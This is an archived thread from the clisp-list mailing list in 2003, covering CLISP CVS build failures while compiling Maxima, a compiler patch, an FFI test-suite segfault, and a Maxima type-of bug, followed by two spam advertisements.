<20030708200634.1a6424f1.fommil@yahoo.ie> > * On the subject of "Re: catch 22 compiling clisp for maxima" > * Sent on Tue, 8 Jul 2003 20:06:34 +0100 > * Honorable Sam Halliday writes: > > cmp -s format.fas stage/format.fas || (echo "Test failed." ; exit 1) > Test failed. try within 24 hours: On 2003-06-13, changes were made to ViewCVS access and pserver CVS access. pserver-based CVS access from this host (the project shell server) will not be changed. pserver-based CVS access from other hosts and ViewCVS access will now work against data on the backup CVS server (this is a transparent change and does not require any configuration changes on your part), as to reduce load on the primary CVS server and improve the performance of developer CVS access. Data on the backup CVS server is roughly 24 hours old, between sync runs. This change is temporary and is expected to be reverted in August. See the Site Status page on SourceForge.net for details. > is it just me, or are the sourceforge cvs servers always stressed to > their limits? i got about 10 "end of file from server" messages on > login as anonymous. on savannah, ive never had this; as either > anonymous or as a user. see also you can also look at or try the appended patch. > how stable is cvs compared with clisp-2.30? pretty stable. AFAICT, everything that runs on clisp-2.30 or clisp-2.29 will run on CVS head as well. the reason it is not released is that some new features have not been quite polished yet. see . the FFI regression crash you observe is due to the new test that uncovers an old problem - which needs to be fixed, of course. -- Sam Steingold (http://www.podval.org/~sds) running w2k In the race between idiot-proof software and idiots, the idiots are winning. Index: compiler.lisp =================================================================== RCS file: /cvsroot/clisp/clisp/src/compiler.lisp,v retrieving revision 1.125 retrieving revision 1.126 diff -u -w -b -u -b -w -i -B -r1.125 -r1.126 --- compiler.lisp 14 May 2003 19:52:06 -0000 1.125 +++ compiler.lisp 8 Jul 2003 18:39:01 -0000 1.126 @@ -6462,7 +6462,7 @@ (let ((erg (gensym)) (tail (gensym)) (blockname (gensym)) (restvars (gensym-list forms)) - (tag (gensym))) + (tag (gensym)) (tmp (gensym))) `(LET ((,erg NIL) ,@(case adjoin-fun ((CONS)) ((NCONC APPEND) `((,tail nil))))) (BLOCK ,blockname @@ -6476,20 +6476,17 @@ ,erg)))) ((NCONC) #'(lambda (itemvars) - `(if (consp ,erg) - (setf ,tail (last ,tail) - (cdr ,tail) (FUNCALL ,funform ,@itemvars)) - (setq ,erg (FUNCALL ,funform ,@itemvars) - ,tail ,erg)))) + `(let ((,tmp (FUNCALL ,funform ,@itemvars))) + (if (consp ,erg) + (setf ,tail (last ,tail) (cdr ,tail) ,tmp) + (setq ,erg ,tmp ,tail ,erg))))) ((APPEND) #'(lambda (itemvars) - `(if (consp ,erg) - (setf ,tail (last ,tail) - (cdr ,tail) (copy-list-lax - (FUNCALL ,funform ,@itemvars))) - (setq ,erg (copy-list-lax - (FUNCALL ,funform ,@itemvars)) - ,tail ,erg))))) + `(let ((,tmp (copy-list-lax + (FUNCALL ,funform ,@itemvars)))) + (if (consp ,erg) + (setf ,tail (last ,tail) (cdr ,tail) ,tmp) + (setq ,erg ,tmp ,tail ,erg)))))) blockname restvars) (SETQ ,@(shift-vars restvars)) @@ -6503,7 +6500,7 @@ (let ((erg (gensym)) (tail (gensym)) (blockname (gensym)) (restvars (gensym-list forms)) - (tag (gensym))) + (tag (gensym)) (tmp (gensym))) `(LET ((,erg NIL) ,@(case adjoin-fun ((CONS)) ((NCONC APPEND) `((,tail nil))))) (BLOCK ,blockname @@ -6515,18 +6512,15 @@ ((CONS) `(SETQ ,erg (,adjoin-fun (FUNCALL ,funform ,@restvars) ,erg))) ((NCONC) - `(if (consp ,erg) - (setf ,tail (last ,tail) - (cdr ,tail) (FUNCALL ,funform ,@restvars)) - (setq ,erg (FUNCALL ,funform ,@restvars) - ,tail ,erg))) + `(let ((,tmp (FUNCALL ,funform ,@restvars))) + (if (consp ,erg) + (setf ,tail (last ,tail) (cdr ,tail) ,tmp) + (setq ,erg ,tmp ,tail ,erg)))) ((APPEND) - `(if (consp ,erg) - (setf ,tail (last ,tail) - (cdr ,tail) (copy-list-lax - (FUNCALL ,funform ,@restvars))) - (setq ,erg (copy-list-lax (FUNCALL ,funform ,@restvars)) - ,tail ,erg)))) + `(let ((,tmp (copy-list-lax (FUNCALL ,funform ,@restvars)))) + (if (consp ,erg) + (setf ,tail (last ,tail) (cdr ,tail) ,tmp) + (setq ,erg ,tmp ,tail ,erg))))) (SETQ ,@(shift-vars restvars)) (GO ,tag)))) ,(case adjoin-fun From fommil@yahoo.ie Tue Jul 08 14:03:48 2003 Received: from smtp101.mail.sc5.yahoo.com ([216.136.174.139]) by sc8-sf-list1.sourceforge.net with smtp (Exim 3.31-VA-mm2 #1 (Debian)) id 19Zzcq-0003gm-00 for ; Tue, 08 Jul 2003 14:03:48 -0700 Received: from 82-41-201-88.cable.ubr11.edin.blueyonder.co.uk (fommil@82.41.201.88 with login) by smtp.mail.vip.sc5.yahoo.com with SMTP; 8 Jul 2003 21:03:47 -0000 From: Sam Halliday To: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] Re: catch 22 compiling clisp for maxima Message-Id: <20030708220344.2d72bdf4.fommil@yahoo.ie> In-Reply-To: References: <20030705003758.6a456e27.fommil@yahoo.ie> <20030708200634.1a6424f1.fommil@yahoo.ie> X-Mailer: GNU/Linux Sylpheed Claws 0.9.0 X-Operating-System: GNU/Linux from Scratch Mime-Version: 1.0 Content-Type: multipart/signed; protocol="application/pgp-signature"; micalg="pgp-sha1"; boundary="=._3B'kuta5f9Ll)" Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Tue Jul 8 14:04:23 2003 X-Original-Date: Tue, 8 Jul 2003 22:03:44 +0100 --=._3B'kuta5f9Ll) Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Sam Steingold wrote: > On 2003-06-13, changes were made to ViewCVS access and pserver CVS > access. thanks for the info! it explains a lot... > try the appended patch. thanks! the patch fixed the first test problem, leaving the `make testsuite` segfault (the FFI issue) to be the end of the compile. > pretty stable. AFAICT, everything that runs on clisp-2.30 or > clisp-2.29 will run on CVS head as well. > > the reason it is not released is that some new features have not been > quite polished yet. see . > > the FFI regression crash you observe is due to the new test that > uncovers an old problem - which needs to be fixed, of course. thats great! now i can go on to learning maxima, and maybe see about helping out there. since i started using emacs lisp has really grown on me... cheers, Sam -- The hardest thing is to disguise your feelings when you put a lot of relatives on the train for home. --=._3B'kuta5f9Ll) Content-Type: application/pgp-signature -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.2.2 (GNU/Linux) iD8DBQE/CzGw3qTuwoWzAjMRAm8rAJ4uMVlwIa5I2I7MBXLp6NLOmNKf/ACfYOeL LexEhJDfslUkTAY0fRqLbuM= =0nyA -----END PGP SIGNATURE----- --=._3B'kuta5f9Ll)-- From Joerg-Cyril.Hoehle@t-systems.com Wed Jul 09 08:51:34 2003 Received: from mail1.telekom.de ([62.225.183.202]) by sc8-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 19aHEC-0007WM-00 for ; Wed, 09 Jul 2003 08:51:32 -0700 Received: from g8pbr.blf01.telekom.de by G8SBV.dmz.telekom.de with ESMTP for clisp-list@lists.sourceforge.net; Wed, 9 Jul 2003 17:51:24 +0200 Received: by G8PBR.blf01.telekom.de with Internet Mail Service (5.5.2653.19) id <3NTLJ4KS>; Wed, 9 Jul 2003 17:51:23 +0200 Message-Id: <9F8582E37B2EE5498E76392AEDDCD3FE05705606@G8PQD.blf01.telekom.de> From: "Hoehle, Joerg-Cyril" To: clisp-list@lists.sourceforge.net MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.5.2653.19) Content-Type: text/plain Subject: [clisp-list] Re: catch 22 compiling clisp for maxima: FFI crash Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Wed Jul 9 08:52:13 2003 X-Original-Date: Wed, 9 Jul 2003 17:51:22 +0200 Sam, >> (PROGN (DEF-CALL-OUT C-SELF (:NAME "ffi_identity") (:ARGUMENTS (FIRST >> (C-UNION (C1 (C-PTR CHARACTER)) (S (C-ARRAY-PTR CHARACTER)))) (OBJ >> (C-PTR (C-UNION (C CHARACTER) (B BOOLEAN) (P C-POINTER))) :IN-OUT)) >> (:RETURN-TYPE (C-PTR CHARACTER)) (:LANGUAGE :STDC)) >(MULTIPLE-VALUE-LIST >> (C-SELF #\w #\j))) >> make[1]: *** [tests] Segmentation fault (core dumped) >> make[1]: Leaving directory `/home/LFS/TODO/maxima/clisp/src/suite' > >This is FFI, it should not concern you either. >Joerg Hoehle is working on this. I've next to 0 time, but the split case you added for ffi.tst 1.13 is broken: revision 1.13 date: 2003/06/17 18:42:33; author: sds; state: Exp; lines: +22 -1 split the test that crashes on win32 into two (progn (def-call-out c-self (:name "ffi_identity") (:arguments (obj (c-union (c1 character) ; BAD! (s (c-array-ptr character))))) (:return-type (c-ptr character)) (:language :stdc)) (c-self #\w)) is broken: you pass a character and return a pointer to character. That cannot be right. Did that test ever pass on any system?! You probably meant to write (c-ptr (c-union (c1 character) ...) (progn (def-call-out c-self (:name "ffi_identity") (:arguments (obj (c-ptr (c-union (c1 character) (s (c-array-ptr character)))))) (:return-type (c-ptr character)) (:language :stdc)) (c-self #\w)) or maybe (progn (def-call-out c-self (:name "ffi_identity") (:arguments (obj (c-union (c1 (c-ptr character)) (s (c-array-ptr character))))) (:return-type (c-ptr character)) (:language :stdc)) (c-self #\w)) ? [Maybe add both forms :-)] An arg of c-union type may point that ffcall has trouble with that (though I'm not sure ffcall gets to see that instead of the first union member)?? Which cases crashes on what systems? Regards, Jorg Hohle. From lisp-clisp-list@m.gmane.org Wed Jul 09 09:45:44 2003 Received: from main.gmane.org ([80.91.224.249]) by sc8-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 19aI4c-00055q-00 for ; Wed, 09 Jul 2003 09:45:42 -0700 Received: from list by main.gmane.org with local (Exim 3.35 #1 (Debian)) id 19aI2l-0007Gm-00 for ; Wed, 09 Jul 2003 18:43:47 +0200 X-Injected-Via-Gmane: http://gmane.org/ To: clisp-list@lists.sourceforge.net Received: from news by main.gmane.org with local (Exim 3.35 #1 (Debian)) id 19aI1B-00076u-00 for ; Wed, 09 Jul 2003 18:42:09 +0200 From: Sam Steingold Organization: disorganization Lines: 52 Message-ID: References: <9F8582E37B2EE5498E76392AEDDCD3FE05705606@G8PQD.blf01.telekom.de> Reply-To: sds@gnu.org Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Complaints-To: usenet@main.gmane.org X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. User-Agent: Gnus/5.09 (Gnus v5.9.0) Emacs/21.3.50 Subject: [clisp-list] Re: catch 22 compiling clisp for maxima: FFI crash Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Wed Jul 9 09:46:20 2003 X-Original-Date: 09 Jul 2003 12:42:53 -0400 > * In message <9F8582E37B2EE5498E76392AEDDCD3FE05705606@G8PQD.blf01.telekom.de> > * On the subject of "Re: catch 22 compiling clisp for maxima: FFI crash" > * Sent on Wed, 9 Jul 2003 17:51:22 +0200 > * Honorable "Hoehle, Joerg-Cyril" writes: > > >> (PROGN (DEF-CALL-OUT C-SELF (:NAME "ffi_identity") (:ARGUMENTS (FIRST > >> (C-UNION (C1 (C-PTR CHARACTER)) (S (C-ARRAY-PTR CHARACTER)))) (OBJ > >> (C-PTR (C-UNION (C CHARACTER) (B BOOLEAN) (P C-POINTER))) :IN-OUT)) > >> (:RETURN-TYPE (C-PTR CHARACTER)) (:LANGUAGE :STDC)) > >(MULTIPLE-VALUE-LIST > >> (C-SELF #\w #\j))) > >> make[1]: *** [tests] Segmentation fault (core dumped) > >> make[1]: Leaving directory `/home/LFS/TODO/maxima/clisp/src/suite' > > > >This is FFI, it should not concern you either. > >Joerg Hoehle is working on this. > > I've next to 0 time if not you, who? > You probably meant to write (c-ptr (c-union (c1 character) ...) > > (progn > (def-call-out c-self (:name "ffi_identity") > (:arguments (obj (c-ptr (c-union (c1 character) > (s (c-array-ptr character)))))) > (:return-type (c-ptr character)) (:language :stdc)) > (c-self #\w)) works > or maybe > (progn > (def-call-out c-self (:name "ffi_identity") > (:arguments (obj (c-union (c1 (c-ptr character)) > (s (c-array-ptr character))))) > (:return-type (c-ptr character)) (:language :stdc)) > (c-self #\w)) segfaults. > An arg of c-union type may point that ffcall has trouble with that > (though I'm not sure ffcall gets to see that instead of the first > union member)?? Which cases crashes on what systems? all c-union (without c-ptr) crash on all systems. -- Sam Steingold (http://www.podval.org/~sds) running w2k Apathy Club meeting this Friday. If you want to come, you're not invited. From fommil@yahoo.ie Wed Jul 09 17:05:57 2003 Received: from smtp012.mail.yahoo.com ([216.136.173.32]) by sc8-sf-list1.sourceforge.net with smtp (Exim 3.31-VA-mm2 #1 (Debian)) id 19aOwf-0004Zt-00 for ; Wed, 09 Jul 2003 17:05:57 -0700 Received: from 82-41-201-88.cable.ubr11.edin.blueyonder.co.uk (fommil@82.41.201.88 with login) by smtp.mail.vip.sc5.yahoo.com with SMTP; 10 Jul 2003 00:05:54 -0000 From: Sam Halliday To: maxima@www.math.utexas.edu Cc: clisp-list@lists.sourceforge.net Message-Id: <20030710010547.7b25bf3e.fommil@yahoo.ie> X-Mailer: GNU/Linux Sylpheed Claws 0.9.0 X-Operating-System: GNU/Linux from Scratch Mime-Version: 1.0 Content-Type: multipart/signed; protocol="application/pgp-signature"; micalg="pgp-sha1"; boundary="=.TsqYka/1nnHVG6" Subject: [clisp-list] maxima breaks with CVS clisp Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Wed Jul 9 17:06:27 2003 X-Original-Date: Thu, 10 Jul 2003 01:05:47 +0100 --=.TsqYka/1nnHVG6 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit hi there, i have been on the clisp mailing list lately, as i was wanting to find a patch to clisp-2.30 which fixed the floating point issues... i was pointed to CVS which has these issues fixed. now however, i am getting even stranger results from the symbolic math package maxima; with clisp-2.30 (which is not reccomended, and i experience a few floating point tests fail during make check), if i type a simple differentiation like (C1) diff(sin(x),x); (D1) COS(x) the result is as expected. if however, i use build maxima with clisp CVS, i get this; (C1) diff(sin(x),x); d (D1) -- (SIN(x)) dx which as you can tell is not what i wanted. i recompiled maxima to the version of clisp i have installed. since this is only apparent when i use clisp CVS and not 2.30, i am reporting this on the clisp mailing list also, as it is clearly a bug somewhere, and i am not experienced enough in either package to find what could be causing it. in the meantime, to allow me to sleep soundly at night; if anyone has a patch against clisp-2.30 which fixes the floating point issues, i would be very grateful to them. i have gcc-3.2.3, so clisp-2.29 does not compile; also gcl has sed syntax errors in the configure script so i cant build it. i am running GNU/Linux from Scratch. cheers, Sam PS: please CC me, i am not subscribed to either list as the sourceforge servers seem to be down... (again). -- The pollution's at that awkward stage. Too thick to navigate and too thin to cultivate. -- Doug Sneyd --=.TsqYka/1nnHVG6 Content-Type: application/pgp-signature -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.2.2 (GNU/Linux) iD8DBQE/DK3e3qTuwoWzAjMRApq8AJ4h4fC8NpcQX9MZwYW9NB32SI9gNACfRLuT UDH8jekeTc4BaTAlv4yFBdg= =LCwr -----END PGP SIGNATURE----- --=.TsqYka/1nnHVG6-- From Joerg-Cyril.Hoehle@t-systems.com Thu Jul 10 01:04:46 2003 Received: from mail1.telekom.de ([62.225.183.202]) by sc8-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 19aWPy-0006Fl-00 for ; Thu, 10 Jul 2003 01:04:42 -0700 Received: from g8pbr.blf01.telekom.de by G8SBV.dmz.telekom.de with ESMTP for clisp-list@lists.sourceforge.net; Thu, 10 Jul 2003 10:01:16 +0200 Received: by G8PBR.blf01.telekom.de with Internet Mail Service (5.5.2653.19) id <3NTLKHPT>; Thu, 10 Jul 2003 10:01:12 +0200 Message-Id: <9F8582E37B2EE5498E76392AEDDCD3FE057056F3@G8PQD.blf01.telekom.de> From: "Hoehle, Joerg-Cyril" To: clisp-list@lists.sourceforge.net MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.5.2653.19) Content-Type: text/plain Subject: [clisp-list] Re: catch 22 compiling clisp for maxima: FFI crash Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Thu Jul 10 01:05:09 2003 X-Original-Date: Thu, 10 Jul 2003 10:01:11 +0200 Sam wrote: >all c-union (without c-ptr) crash on all systems. Really!? They do not crash on my Suse Linux using my CVS copy that I last updated on May, 16th. I thought only mingw builds were concerned by crashes? Regards, Jorg Hohle From toy@rtp.ericsson.se Thu Jul 10 06:46:19 2003 Received: from imr2.ericy.com ([198.24.6.3]) by sc8-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 19abkY-0006JN-00 for ; Thu, 10 Jul 2003 06:46:18 -0700 Received: from eamrcnt750.exu.ericsson.se (eamrcnt750.exu.ericsson.se [138.85.133.51]) by imr2.ericy.com (8.12.9/8.12.9) with ESMTP id h6ADkBAP016378; Thu, 10 Jul 2003 08:46:11 -0500 (CDT) Received: from netmanager7.rtp.ericsson.se ([147.117.133.252]) by eamrcnt750.exu.ericsson.se with SMTP (Microsoft Exchange Internet Mail Service Version 5.5.2656.59) id 3172NBS9; Thu, 10 Jul 2003 08:45:56 -0500 Received: from edgedsp4.rtp.ericsson.se (edgedsp4.rtp.ericsson.se [147.117.85.209]) by netmanager7.rtp.ericsson.se (8.8.8+Sun/8.6.4) with ESMTP id JAA17872; Thu, 10 Jul 2003 09:46:10 -0400 (EDT) Received: (from toy@localhost) by edgedsp4.rtp.ericsson.se (8.11.6+Sun/8.10.2) id h6ADk9605388; Thu, 10 Jul 2003 09:46:09 -0400 (EDT) X-Authentication-Warning: edgedsp4.rtp.ericsson.se: toy set sender to toy@rtp.ericsson.se using -f To: Sam Halliday Cc: maxima@mail.ma.utexas.edu, clisp-list@lists.sourceforge.net References: <20030710010547.7b25bf3e.fommil@yahoo.ie> From: Raymond Toy In-Reply-To: <20030710010547.7b25bf3e.fommil@yahoo.ie> (Sam Halliday's message of "Thu, 10 Jul 2003 01:05:47 +0100") Message-ID: <4n7k6qjxzy.fsf@edgedsp4.rtp.ericsson.se> User-Agent: Gnus/5.1002 (Gnus v5.10.2) XEmacs/21.5 (cassava, usg-unix-v) MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Subject: [clisp-list] Re: [Maxima] maxima breaks with CVS clisp Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Thu Jul 10 06:47:10 2003 X-Original-Date: Thu, 10 Jul 2003 09:46:09 -0400 >>>>> "Sam" == Sam Halliday writes: Sam> (C1) diff(sin(x),x); Sam> (D1) COS(x) Sam> the result is as expected. if however, i use build maxima with clisp Sam> CVS, i get this; Sam> (C1) diff(sin(x),x); Sam> d Sam> (D1) -- (SIN(x)) Sam> dx This is caused by a recently discovered bug. CVS CMUCL also fails in this way. Here is a potential solution. Just use the following replacement in src/commac.lisp. Ray (defun maclisp-typep (x &optional type) (cond (type (lisp:let ((pred (get type 'ml-typep))) (cond (pred (funcall pred x)) (t (typep x type))))) (t (typecase x (cl:cons 'list) (cl:fixnum 'fixnum) (cl:integer 'bignum) (cl:float 'flonum) (cl:number 'number) (cl:array 'array) (cl:hash-table 'hash-table) (t (type-of x-type)))))) From lisp-clisp-list@m.gmane.org Thu Jul 10 07:56:37 2003 Received: from main.gmane.org ([80.91.224.249]) by sc8-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 19acqZ-0005o0-00 for ; Thu, 10 Jul 2003 07:56:35 -0700 Received: from list by main.gmane.org with local (Exim 3.35 #1 (Debian)) id 19acpl-0006M3-00 for ; Thu, 10 Jul 2003 16:55:45 +0200 X-Injected-Via-Gmane: http://gmane.org/ To: clisp-list@lists.sourceforge.net Received: from news by main.gmane.org with local (Exim 3.35 #1 (Debian)) id 19acpk-0006Ls-00 for ; Thu, 10 Jul 2003 16:55:44 +0200 From: Sam Steingold Organization: disorganization Lines: 33 Message-ID: References: <20030710010547.7b25bf3e.fommil@yahoo.ie> <4n7k6qjxzy.fsf@edgedsp4.rtp.ericsson.se> Reply-To: sds@gnu.org Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Complaints-To: usenet@main.gmane.org X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. User-Agent: Gnus/5.09 (Gnus v5.9.0) Emacs/21.3.50 Cc: maxima@www.math.utexas.edu Subject: [clisp-list] Re: [Maxima] maxima breaks with CVS clisp Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Thu Jul 10 07:57:12 2003 X-Original-Date: 10 Jul 2003 10:56:21 -0400 > * In message <4n7k6qjxzy.fsf@edgedsp4.rtp.ericsson.se> > * On the subject of "Re: [Maxima] maxima breaks with CVS clisp" > * Sent on Thu, 10 Jul 2003 09:46:09 -0400 > * Honorable Raymond Toy writes: > > >>>>> "Sam" == Sam Halliday writes: > > > Sam> (C1) diff(sin(x),x); > Sam> (D1) COS(x) > > Sam> the result is as expected. if however, i use build maxima with clisp > Sam> CVS, i get this; > > Sam> (C1) diff(sin(x),x); > Sam> d > Sam> (D1) -- (SIN(x)) > Sam> dx > > This is caused by a recently discovered bug. CVS CMUCL also fails in > this way. > > Here is a potential solution. Just use the following replacement in > src/commac.lisp. I am confused. If this is a maxima bug, why does it manifest itself on _both_ CVS CLISP and CVS CMUCL but not released versions? -- Sam Steingold (http://www.podval.org/~sds) running w2k If you're passed on the right, you're in the wrong lane. From toy@rtp.ericsson.se Thu Jul 10 09:04:27 2003 Received: from imr2.ericy.com ([198.24.6.3]) by sc8-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 19adQl-0001vz-00 for ; Thu, 10 Jul 2003 08:33:59 -0700 Received: from eamrcnt750.exu.ericsson.se (eamrcnt750.exu.ericsson.se [138.85.133.51]) by imr2.ericy.com (8.12.9/8.12.9) with ESMTP id h6AFXnAP013293; Thu, 10 Jul 2003 10:33:49 -0500 (CDT) Received: from netmanager7.rtp.ericsson.se ([147.117.133.252]) by eamrcnt750.exu.ericsson.se with SMTP (Microsoft Exchange Internet Mail Service Version 5.5.2656.59) id 3172NLN9; Thu, 10 Jul 2003 10:33:34 -0500 Received: from edgedsp4.rtp.ericsson.se (edgedsp4.rtp.ericsson.se [147.117.85.209]) by netmanager7.rtp.ericsson.se (8.8.8+Sun/8.6.4) with ESMTP id LAA18931; Thu, 10 Jul 2003 11:33:48 -0400 (EDT) Received: (from toy@localhost) by edgedsp4.rtp.ericsson.se (8.11.6+Sun/8.10.2) id h6AFXlT01310; Thu, 10 Jul 2003 11:33:47 -0400 (EDT) X-Authentication-Warning: edgedsp4.rtp.ericsson.se: toy set sender to toy@rtp.ericsson.se using -f To: sds@gnu.org Cc: maxima@mail.ma.utexas.edu, clisp-list@lists.sourceforge.net References: <20030710010547.7b25bf3e.fommil@yahoo.ie> <4n7k6qjxzy.fsf@edgedsp4.rtp.ericsson.se> From: Raymond Toy In-Reply-To: (Sam Steingold's message of "10 Jul 2003 10:56:21 -0400") Message-ID: <4nwueq5rc4.fsf@edgedsp4.rtp.ericsson.se> User-Agent: Gnus/5.1002 (Gnus v5.10.2) XEmacs/21.5 (cassava, usg-unix-v) MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Subject: [clisp-list] Re: [Maxima] maxima breaks with CVS clisp Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Thu Jul 10 09:05:19 2003 X-Original-Date: Thu, 10 Jul 2003 11:33:47 -0400 >>>>> "Sam" == Sam Steingold writes: Sam> I am confused. If this is a maxima bug, why does it manifest itself on Sam> _both_ CVS CLISP and CVS CMUCL but not released versions? It is a maxima bug. It's caused by (type-of 1) not returning 'fixnum anymore. CVS CMUCL returns '(integer 1 1) and, I think, CVS Clisp returns 'bit. The original maxima code was essentially testing to see if (typep 3 (type-of 1)), which no longer works. Ray From Simpson@hanmail.net Fri Jul 11 01:20:10 2003 Received: from [221.6.178.2] (helo=hanmail.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 19at8C-0002lp-00 for ; Fri, 11 Jul 2003 01:20:10 -0700 From: "Simpson" To: clisp-list@lists.sourceforge.net Content-Type: text/plain;charset="GB2312" Reply-To: Simpson@hanmail.net X-Priority: 3 X-Mailer: Foxmail 4.2 [cn] Message-Id: Subject: [clisp-list] Hi,I'm Dr.Simpson! Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Fri Jul 11 01:23:03 2003 X-Original-Date: Fri, 11 Jul 2003 16:13:38 +0800 Are you tired of being overweight? Is your health starting to suffer too? Are you frustrated from trying every program out there to lose weight, only to fail each time? Then this is the message you can not afford to miss! Please look at: http://www.rx-hgh.com From isaac@walden.com Fri Jul 11 05:45:32 2003 Received: from [211.196.9.139] (helo=compuserve.com) by sc8-sf-list1.sourceforge.net with smtp (Exim 3.31-VA-mm2 #1 (Debian)) id 19axHF-0007j3-00 for ; Fri, 11 Jul 2003 05:45:31 -0700 From: isaac@walden.com To: Clisp-list References: <2DCIJ6JC569GCH1I@lists.sourceforge.net> In-Reply-To: <2DCIJ6JC569GCH1I@lists.sourceforge.net> Message-ID: MIME-Version: 1.0 Content-Type: text/plain; charset=Windows-1251 Content-Transfer-Encoding: 8bit Subject: [clisp-list] new mail 72abVc63 Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Fri Jul 11 05:46:15 2003 X-Original-Date: Fri, 11 Jul 2003 12:41:36 +0000 Ìû ðàäû ïðåäëîæèòü âàì íîâûé áåñïëàòíûé ïî÷òîâûé ñåðâèñ http://www.mail15.com. Åãî îòëè÷èòåëüíûå îñîáåííîñòè: 1) ðàçìåð ÿùèêà 15 ìá; 2) çàùèùåííîñòü è íàäåæíîñòü; 3) âîçìîæíîñòü èñïîëüçîâàíèÿ ëþáûõ ïî÷òîâûõ ïðîãðàìì(POP,IMAP,SMTP); 4) äîñòóï èç ëþáîãî ìåñòà â ëþáîå âðåìÿ; 5) ïðîñòîé è äîñòóïíûé âåáèíòåðôåéñ ñ ÏÎËÍÛÌ ÎÒÑÓÒÑÒÂÈÅÌ ÐÅÊËÀÌÛ; 6) àíòèâèðóñíûé è àíòèñïàìîâûé êîíòðîëü; 7) ìãíîâåííàÿ ïåðåñûëêà ïî÷òû. Åñëè âû íå õîòèòå ïîëó÷àòü áîëåå äàííóþ ðàññûëêó, ïèøèòå mailto:unsubscribe@mail15.com?subject=unsubscribe ************* We are glad to invite you at new free mail service http://www.mail15.com. The advantages of this service are: 1) mailbox, up to 15 Mb; 2) absolute privacy and high reliability; 3) ability to use mail clients (POP3, IMAP4, SMTP); 4) access from anywhere, anytime; 5) flexible light-weight web interface without advertising banners; 6) antivirus and antispam control; 7) fast mail transfer; 8) high speed network channel; 9) flexible light-weight web interface; 10) wide spread ability of mail filtering and forwarding mail; 11) clock around support; If you wish to be removed: mailto:unsubscribe@mail15.com?subject=unsubscrib bKttTipKmX From vvzhy@mail.ru Sat Jul 12 00:42:41 2003 Received: from mx5.mail.ru ([194.67.23.25]) by sc8-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 19bF1k-0001eU-00 for ; Sat, 12 Jul 2003 00:42:40 -0700 Received: from [62.118.129.187] (port=3125 helo=mail.ru) by mx5.mail.ru with esmtp id 19bF1g-000MNb-00; Sat, 12 Jul 2003 11:42:37 +0400 Message-ID: 